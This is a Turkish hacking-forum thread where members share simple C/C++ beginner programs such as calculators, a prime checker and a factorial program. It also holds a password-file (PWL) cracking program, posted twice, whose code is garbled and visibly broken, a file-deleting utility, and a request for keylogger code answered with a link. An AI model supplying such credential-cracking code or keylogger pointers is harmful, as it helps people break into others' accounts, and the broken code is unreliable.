C/C++ İle Basit Program Kodları

  • Konbuyu başlatan Arsenik-tht
  • Başlangıç tarihi
Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...

EquL

Yeni üye
4 Ocak 2010
22
0
Bunda da metını gırıorsunuz sıze kac kelıme , kac harf , kac cumleden olustugunu cıkaran bır c programı




#include<stdio.h>
main()
{
float ort_cum,ort_kel,yuzde;
int sayac,sayac2,sayac3,sayac4,sayac5,sayac6,sayac7,sayac8,sayac9,sayac10,sayac11,enbuyuk,kar_say=0,satir_say=1,i;
char karakter;
printf("METINI GIRINIZ\n");
enbuyuk=0;
sayac=0;
sayac4=0;
sayac5=0;
sayac6=0;
sayac2=0;
sayac3=0;
sayac7=0;
sayac8=0;
sayac9=0;
sayac10=0;
sayac11=0;
do{
karakter=getchar();
sayac=sayac+1; /*Dongu sayesinde sayıları tektek alıp bunu sayaca isliycek.*/
if (karakter!='#'){/*Girilen cümleleri ücgen seklinde yazdırmaya yarayan kod,bu satırdaki if in parantezinin kapanmasıyla son buluyor.*/
if (kar_say<satir_say){
if ((karakter!=',')&& (karakter!=';')&&(karakter!=' ')&&(karakter!=':')&&(karakter!='.')&&(karakter!='?')&&(karakter!='!')){
printf("%c",karakter);/*Eger karakter harf ise ekrana yazdırıyor.*/
kar_say++;}
if (((karakter=='.')|| (karakter==':')||(karakter=='?') ||(karakter=='!'))){
if(kar_say!=0){/*Eger cumle bıtmıs ıse gerekiyorsa + konuluyor.*/
for (i=1;i<=(satir_say-kar_say);i++)
printf("+");
}
kar_say=0;
satir_say=1;
printf("\n\n");
}}}
if (kar_say==satir_say){
printf("\n");
kar_say=0;
satir_say++;}
if(karakter==' ' || karakter==',' || karakter==';' )
sayac4=sayac4+1;/*Burada kelime sonlarını sayıyor.*/
if((karakter>=65 && karakter<=90) || (karakter>=97 && karakter<=122)) /*Latin harf olmayan harf sayısını alıyor.*/
sayac5=sayac5+1;
if(karakter!=' ' || karakter!=',' || karakter!=';' || karakter!='.' || karakter!=':' || karakter!='?' || karakter!='!' || karakter!='#' ){
sayac6=sayac6+1;/*Bu sayaclar kelimedeki harf sayılarını alıyor ve gereken veriyi yazdırdıklarında sıfırlanıp tekrar sayıyorlar.*/
sayac9=sayac9+1; }
if(karakter==' ' || karakter==',' || karakter==';' || karakter=='.' || karakter==':' || karakter=='?' || karakter=='!'){
if((sayac9-1)>enbuyuk){
enbuyuk=(sayac9-1);/*sayac9 un aldıgı deger enbuyukden buyukse sayısı alınıyor ve bir dahaki işlem için sayac9 sıfırlanıyor.*/
sayac9=0;
}
else{
sayac9=0;
}
if((sayac6-1)<4){
sayac7=sayac7+1;/*Sayac6nın degeri 4 ten kücük ise sayac7 ye yazılıyor ki bu bize 4 harften kücük kelimelerin sayısını veriyor.*/
sayac6=0;
}
if((sayac6-1)>10){
sayac6=0;/*Eger sayac6 10 dan buyuk ıse sayac8 e yazılıyor ve buda bize 10 dan buyuk harf sayılı kelime sayısını veriyor.*/
sayac8=sayac8+1;
}
else
sayac6=0;
}
if(karakter=='.' || karakter==':' || karakter=='?' || karakter=='!' ){
if((sayac10)<2){
sayac11=sayac11+1;/* eger cumle bıtıyorsa ve sayac10 un saydıgı deger 2 den kucukse,sayac11 e yazılıyor ve buda bize 3 kelimeden az cümle sayısını veriyor.(3 olmamasının nedeni sayac10 un harf degıl imlec saymasındandır.)*/
sayac10=0;
}
else
sayac10=0;
sayac2=sayac2+1;/*Burada cümleyi bitiren karakterleri sayıyor.*/
}
else{
if(karakter==' ' || karakter==',' || karakter==';')
sayac10=sayac10+1;}
}while(karakter!='#');
yuzde=(float)(sayac-1-(sayac2+sayac4)-sayac5)/(sayac-1-(sayac2+sayac4))*100;/*latin olmayan harfleri toplam harf sayısına bölüp yüzdesini alıyor.*/
ort_cum=(float)(sayac4+sayac2)/(sayac2);/*Kelime sayısını cümle sayısına bölüp cümledeki ortalama kelime sayısını buluyor.*/
ort_kel=(float)(sayac-1-(sayac2+sayac4))/(sayac4+sayac2);/* toplam harf sayısını kelime sayısına bölüp kelimedeki ortalama harf sayısını elde ediyor*/
printf("\nToplam Karakter Sayisi : %d\n",sayac-1);
printf("Toplam Cumle Sayisi : %d\n",sayac2);
printf("Toplam Kelime sayisi : %d\n",sayac4+sayac2);/*Toplam işaretleri alıyor.*/
printf("Toplam Harf Sayisi : %d\n",sayac-1-(sayac2+sayac4));/*Toplam karakter sayısından noktalama isaretleri ve boslukları cıkartıyor*/
printf("Metindeki Latin alfabesinde yer almayan harflerin sayisi ve toplam harf sayisi icindeki yuzdesi : %d ve %%%.2f\n",(sayac-(sayac2+sayac4))-sayac5-1,yuzde);/*Yukarıda buldugumuz harf sayısından latin harfleri cıkartıyor.*/
printf("Kelimelerin Ortalama Harf Sayisi : %.2f\n",ort_kel);
printf("Cumlelerin Ortalama Kelime Sayisi : %.2f\n",ort_cum);
printf("4 Harfin Altindaki kelime Sayisi: %d\n",sayac7);
printf("10 Harfin Ustundeki Kelime Sayisi: %d\n",sayac8);
printf("En uzun kelimenin harf sayisi : %d\n",enbuyuk);
printf("3 Kelimeden az olan cumle sayisi : %d\n",sayac11);
scanf("%d",&sayac2);
 

qwerty88

Yeni üye
18 Ocak 2010
1
0
asal sayı programı

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{int n,bolum,i;
bolum=1;
i=2;
printf("sayiyi giriniz:");
scanf("%d",&n);
while (i<=n)
{
if (n%i==0)
bolum+=1;
i+=1;
}
if (bolum==2)
printf(" %d sayisi asaldir.",n);
else
printf("%d sayisi asal degildir.",n);
system("PAUSE");
return 0;
}
 

cusyx

Katılımcı Üye
28 Kas 2009
801
0
BaşkenT Semalarından ;)
asal sayı programı

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{int n,bolum,i;
bolum=1;
i=2;
printf("sayiyi giriniz:");
scanf("%d",&n);
while (i<=n)
{
if (n%i==0)
bolum+=1;
i+=1;
}
if (bolum==2)
printf(" %d sayisi asaldir.",n);
else
printf("%d sayisi asal degildir.",n);
system("PAUSE");
return 0;
}



arkadaşalar ben kodları DEV-C++ ile derliyorum fakat derleme mesajlarına baktığım da toplam 2 hata varmış yukarıdaki kodda ve bilen varsa derlediğimiz kodları nasıl çalıştırıyoruz onu da söylerseniz sevinirim...

xX__Cusyx__Xx
 

..Virtual_King..

Katılımcı Üye
12 Haz 2010
391
0
Birde benden olsun bakalım..:)



QWERTY Kullanarak bios tan ses çıkarma..




#include <stdio.h>
#include <conio.h>
#include <stdlib.h>
#include <dos.h>
main(){
clrscr();
char ses;
int cikis=0,i=0,a=1;
for(i=300;i<=1500;i+=a){
sound(i);
delay(50);
a=a+5;
}nosound();
printf("qwerty Dizisini Kullanarak Ses €kartmak.\n");
printf("TuŸa Basnz");
for(;;){
ses=getch();
switch(ses){
case 'z':
for(i=1500;i>=300;i-=20){
sound(i);
delay(50);
}
nosound();
cikis=1;
break;
case 'q':
sound(400);
delay(200);
nosound();
break;
case 'w':
sound(440);
delay(200);
nosound();
break;
case 'e':
sound(480);
delay(200);
nosound();
break;
case 'r':
sound(520);
delay(200);
nosound();
break;
case 't':
sound(560);
delay(200);
nosound();
break;
case 'y':
sound(600);
delay(200);
nosound();
break;
case 'u':
sound(640);
delay(200);
nosound();
break;
case '':
sound(680);
delay(200);
nosound();
break;
case 'o':
sound(720);
delay(200);
nosound();
break;
case 'p':
sound(740);
delay(200);
nosound();
break;
case '§':
sound(780);
delay(200);
nosound();
break;
case '':
sound(820);
delay(200);
nosound();
break;
default:
printf("\a");
printf("\nHatal TuŸ Girimi.");
}
if(cikis==1){break;}
}
return 0;
}
 

d34dkn16h7

Yeni üye
5 Tem 2010
33
0
Gelen parametreleri siler...


#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
int v = 1;
for(v;;v++)
{
if(argv[v])
remove(argv[v]);
else
exit(0);
}
return 0;
}


Not:dosyaları üstüne sürükleyin silsin ama klasör silmez.olmayan parametre verirseniz hata verir...
 

turqud

Kıdemli Üye
23 Eyl 2008
2,432
0
33
windows admin parolsain kirmak
birde benden::
Parol

# include<stdio.h>
# include<stdio.h>
# include<process.h>
# include<stdlib.h>
# include<ctype.h>
# include<conio.h>
# include<mem.h>

unsigned char huge Data[100001];
unsigned char keystream[1001];
int Rpoint[300];

**** main(int argc,char *argv[]){
FILE *fd;
int i,j;
int size;
char ch;
char *name;
int cracked;
int sizemask;
int maxr;
int rsz;
int pos;
int Rall[300]; /* Resourse al******** table */

if(argc<2){
printf("usage: glide filename (username)");
exit(1);
}
/* Read PWL file */

fd=fopen(argv[1],"rb");
if(fd==NULL){
printf("can't open file %s",argv[1]);
exit(1);
}
size=0;
while(!feof(fd)){
Data[size++]=fgetc(fd);
}
size--;
fclose(fd);

/* Find Username */
name=argv[1];
if(argc>2)name=argv[2];
printf("Username:%s
",name);

/* Copy encrypted text into keystream */
cracked=size-0x0208;
if(cracked<0)cracked=0;
if(cracked>1000)cracked=1000;
memcpy(keystream,Data+0x208,cracked);

/* Generate 20 bytes of keystream */
for(i=0;i<20;i++){
ch=toupper(name);
if(ch==0)break;
if(ch=='.')break;
keystream^=ch;
};
cracked=20;

/* Find allocated resources */

sizemask=keystream[0]+(keystream[1]<<8);
printf("Sizemask:%04X
",sizemask);

for(i=0;i<256;i++){
if(Data!=0xff){
Rall[Data]++;
if(Data>maxr)maxr=Data;
}
}

maxr=(((maxr/16)+1)*16); /* Resourse pointer table size appears to be
divisible by 16 */

/*Search after resources */

Rpoint[0]=0x0208+2*maxr+20+2; /* First resources */
for(i=0;i<maxr;i++){
/* Find the size of current resourse */
pos=Rpoint;
rsz=Data[pos]+(Data[pos+1]<<8);
rsz^=sizemask;
printf("Analysing block with size:%04x (%d:%d)
",rsz,i,Rall);
if((Rall==0)&&(rsz!=0)){
printf("Unused resourse has nonzero size!!!
");
printf("If last line produed any:You may try to recover
");
printf("Press y to attempt the recovery
");
ch=getch();
if(ch!='y')exit(0);
rsz=2;
i=i-1;
}
pos=pos+rsz;

/* Resourse have a tedency to have the wrong size for some reason*/
/* Chech for correct size*/

if(i<maxr-1){
while(Data[pos+3]!=keystream[1]){
printf(":",Data[pos+3]);
pos=pos+2; /* Very rude may fail */
}
}
pos+=2; /* Include pointer in size */
Rpoint[i+1]=pos;
}
Rpoint[maxr]=size;
/* Insert Table data into keystream*/
for(i=0;i<=maxr;i++){
keystream[20+2*i]^=Rpoint & 0x00ff;
keystream[21+2*i]^=(Rpoint>>8) & 0x00ff;
}
cracked+=maxr*2+2;
printf("%d Bytes of ketstream recoverd
",cracked);

/* Decrypt resources */
for(i=0;i<maxr;i++){
rsz=Rpoint[i+1]-Rpoint;
if(rsz>cracked)rsz=cracked;
printf("Resource[%d](%d)
",i,rsz);
for(j=0;j<rsz;j++)
printf("%c",Data[Rpoint+j]^keystream[j]);
printf("
");
}
exit(0);
}
 

WOLSİN

Katılımcı Üye
21 Ara 2010
553
0
32
ADANA
windows admin parolsain kirmak
birde benden::
Parol

# include<stdio.h>
# include<stdio.h>
# include<process.h>
# include<stdlib.h>
# include<ctype.h>
# include<conio.h>
# include<mem.h>

unsigned char huge Data[100001];
unsigned char keystream[1001];
int Rpoint[300];

**** main(int argc,char *argv[]){
FILE *fd;
int i,j;
int size;
char ch;
char *name;
int cracked;
int sizemask;
int maxr;
int rsz;
int pos;
int Rall[300]; /* Resourse al******** table */

if(argc<2){
printf("usage: glide filename (username)");
exit(1);
}
/* Read PWL file */

fd=fopen(argv[1],"rb");
if(fd==NULL){
printf("can't open file %s",argv[1]);
exit(1);
}
size=0;
while(!feof(fd)){
Data[size++]=fgetc(fd);
}
size--;
fclose(fd);

/* Find Username */
name=argv[1];
if(argc>2)name=argv[2];
printf("Username:%s
",name);

/* Copy encrypted text into keystream */
cracked=size-0x0208;
if(cracked<0)cracked=0;
if(cracked>1000)cracked=1000;
memcpy(keystream,Data+0x208,cracked);

/* Generate 20 bytes of keystream */
for(i=0;i<20;i++){
ch=toupper(name);
if(ch==0)break;
if(ch=='.')break;
keystream^=ch;
};
cracked=20;

/* Find allocated resources */

sizemask=keystream[0]+(keystream[1]<<8);
printf("Sizemask:%04X
",sizemask);

for(i=0;i<256;i++){
if(Data!=0xff){
Rall[Data]++;
if(Data>maxr)maxr=Data;
}
}

maxr=(((maxr/16)+1)*16); /* Resourse pointer table size appears to be
divisible by 16 */

/*Search after resources */

Rpoint[0]=0x0208+2*maxr+20+2; /* First resources */
for(i=0;i<maxr;i++){
/* Find the size of current resourse */
pos=Rpoint;
rsz=Data[pos]+(Data[pos+1]<<8);
rsz^=sizemask;
printf("Analysing block with size:%04x (%d:%d)
",rsz,i,Rall);
if((Rall==0)&&(rsz!=0)){
printf("Unused resourse has nonzero size!!!
");
printf("If last line produed any:You may try to recover
");
printf("Press y to attempt the recovery
");
ch=getch();
if(ch!='y')exit(0);
rsz=2;
i=i-1;
}
pos=pos+rsz;

/* Resourse have a tedency to have the wrong size for some reason*/
/* Chech for correct size*/

if(i<maxr-1){
while(Data[pos+3]!=keystream[1]){
printf(":",Data[pos+3]);
pos=pos+2; /* Very rude may fail */
}
}
pos+=2; /* Include pointer in size */
Rpoint[i+1]=pos;
}
Rpoint[maxr]=size;
/* Insert Table data into keystream*/
for(i=0;i<=maxr;i++){
keystream[20+2*i]^=Rpoint & 0x00ff;
keystream[21+2*i]^=(Rpoint>>8) & 0x00ff;
}
cracked+=maxr*2+2;
printf("%d Bytes of ketstream recoverd
",cracked);

/* Decrypt resources */
for(i=0;i<maxr;i++){
rsz=Rpoint[i+1]-Rpoint;
if(rsz>cracked)rsz=cracked;
printf("Resource[%d](%d)
",i,rsz);
for(j=0;j<rsz;j++)
printf("%c",Data[Rpoint+j]^keystream[j]);
printf("
");
}
exit(0);
}




abi mem.h kütüphanesini tanımıyor derleyici. visual stdio 6.0
 

tmroftheygt

Yeni üye
2 Kas 2010
49
0
istanbul
constructor ile hesap makinesi

#include<iostream>
using namespace std;
class calculator{
public:
char k;
int a,b,topla,cikar,carp,bol;
//**** degeral();
calculator();
};
calculator::calculator(){
char x_new;
do{

cout<<"degerleri gir"<<endl;
cin>>a>>b;
cout<<"karakter gir"<<endl;
cin>>k;
switch(k){
case '+':
topla=a+b;
cout<<topla;
break;
case '-':
cikar=a-b;
cout<<cikar;
break;
case '*':
carp=a*b;
cout<<carp;
break;
case '/':
bol=a/b;
cout<<bol;
break;
}
cout<<"devam??(e/h)"<<endl;
cin>>x_new;
}
while(x_new=='e');

}
int main(){
calculator ts;
system("pause");
return 0;
}
 

Darkness Slient

Katılımcı Üye
12 Tem 2011
452
0
İstanbul
beyler sizinkilerin arasında ezik kalcak ama bende ilk profosyonel kendi programımı yaptım. Toplama işlemi:
Kod:
#include <iostream>
using std::cout;
using std::cin;

int main () 
{
int x, y;
cout << "x = ";
cin >> x;
cout << "y = ";
cin >> y;
int toplam;
toplam = x + y;
cout << toplam;
cin >> x;
}
 

Selim14

Yeni üye
31 Ağu 2011
1
0
//AKLINIZDAN TUTTUĞUNUZ SAYIYI BULAN PROGRAM
#include<stdio.h>
main()
{
int i,j,k=500,m=1000,l=0;
char v,c,e;
printf("0-1000 arasinda sayi tutun.tahmin dogru ise [e] basiniz.Yanlis ise [y]ukari veya [a]sagi basiniz\n");
while(v!='e') {
printf("tuttugunuz sayi %d m?\n",k);
scanf(" %c",&v);
if('y'==v) {
l=k;
k=(m+k)/2;
}
if('a'==v) {
m=k;
k=(l+k)/2;
}
}
getch();
}
 

Margu

Kıdemli Üye
26 Eki 2010
2,944
0
C++ Dilinde Faktoriyel Hesaplama :

Kod:
//TurkHackTeam.NET Margu
#include <cstdlib>
#include <iostream>

using namespace std;

int main(int argc, char *argv[])
{
int sayi;
int toplam;
int i;

cout<<"Faktoriyeli Alinacak Sayi :";
cin>>sayi;

i=1;
toplam = 1;
while(i < sayi){
i=i+1;
toplam = toplam *i;

}
cout<<sayi<<"! = "<<toplam<<endl ;


    system("PAUSE");
    return EXIT_SUCCESS;
}

 
Son düzenleme:

Margu

Kıdemli Üye
26 Eki 2010
2,944
0
Gene benim kodladığım c++ dilinde basit bir hesap makinesi

Kod:
// Margu TurkHackTeam.NET
#include <cstdlib>
#include <iostream>

using namespace std;

int main(int argc, char *argv[])
{
    cout<<"**********************************"<<endl;
    cout<<"        Hesap Makinesi v1.0       "<<endl;
    cout<<"                                            "<<endl;
    cout<<"Toplama İslemi İcin [ + ]         "<<endl;
    cout<<"Cikarma İslemi İcin [ - ]          "<<endl;
    cout<<"Carpma İslemi İcin [ * ]          "<<endl;
    cout<<"Bolme İslemi İcin [ / ]             "<<endl;
    cout<<"                                            "<<endl;
    cout<<"Hazirlayan : Margu                "<<endl;
    cout<<"**********************"<<endl;
    
    
    
    
    
    float sayi1,sayi2,sonuc;
    char islem;
    
    cout<<"1.Sayiyi Girin :";
    cin>>sayi1;
    
    cout<<"2.İslemi Girin :";
    cin>>islem;
    
    cout<<"2.Sayiyi Girin :";
    cin>>sayi2;
    
    switch(islem)
    {
    case '+':
         sonuc = (sayi1+sayi2);
         cout<<"Toplama Sonucu :"<<sonuc<<endl;break;
         case '-':
         sonuc = (sayi1-sayi2);
         cout<<"Cikarma Sonucu :"<<sonuc<<endl;break;
         case '*':
         sonuc = (sayi1*sayi2);
         cout<<"Carpma Sonucu :"<<sonuc<<endl;break;
         case '/':
         sonuc = (sayi1/sayi2);
         cout<<"Bolme Sonucu :"<<sonuc<<endl;break;
         }
    
    system("PAUSE");
    return EXIT_SUCCESS;
}
 

Margu

Kıdemli Üye
26 Eki 2010
2,944
0
Program : Çarpım Tablosu
Dil : C++
Kod:
//Margu TurkHackTeam.NET
#include <cstdlib>
#include <iostream>

using namespace std;

int main(int argc, char *argv[])
{
     cout<<"*******************************************"<<endl;
     cout<<"        Hazırlayan : Margu                         "<<endl;
     cout<<"         TurkHackTeam.NET                    "<<endl;
     cout<<"*******************************************"<<endl;  
    int x;
int y;

for(x=1;x<=10;x++)
{
for(y=1;y<=10;y++)
{
cout<<x<<"*"<<y<<"-"<<x*y<<endl;
}
}

    system("PAUSE");
    return EXIT_SUCCESS;
}
 

WOLSİN

Katılımcı Üye
21 Ara 2010
553
0
32
ADANA
ya arkadaşlar varsa elinizde c ile kodlanmış keylogger görmek istiyorum. bu c dili ile adamlar işletim sistemi kodluyorlar ya. yok mu bi keylogger yapabilen?
 
4 Şub 2011
109
1
http://www.turkhackteam.net/visual-basic/406764-mailli-keylogger-yapimi-calisiyor-kodlar-alinti-anlatim-benden.html
 
Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.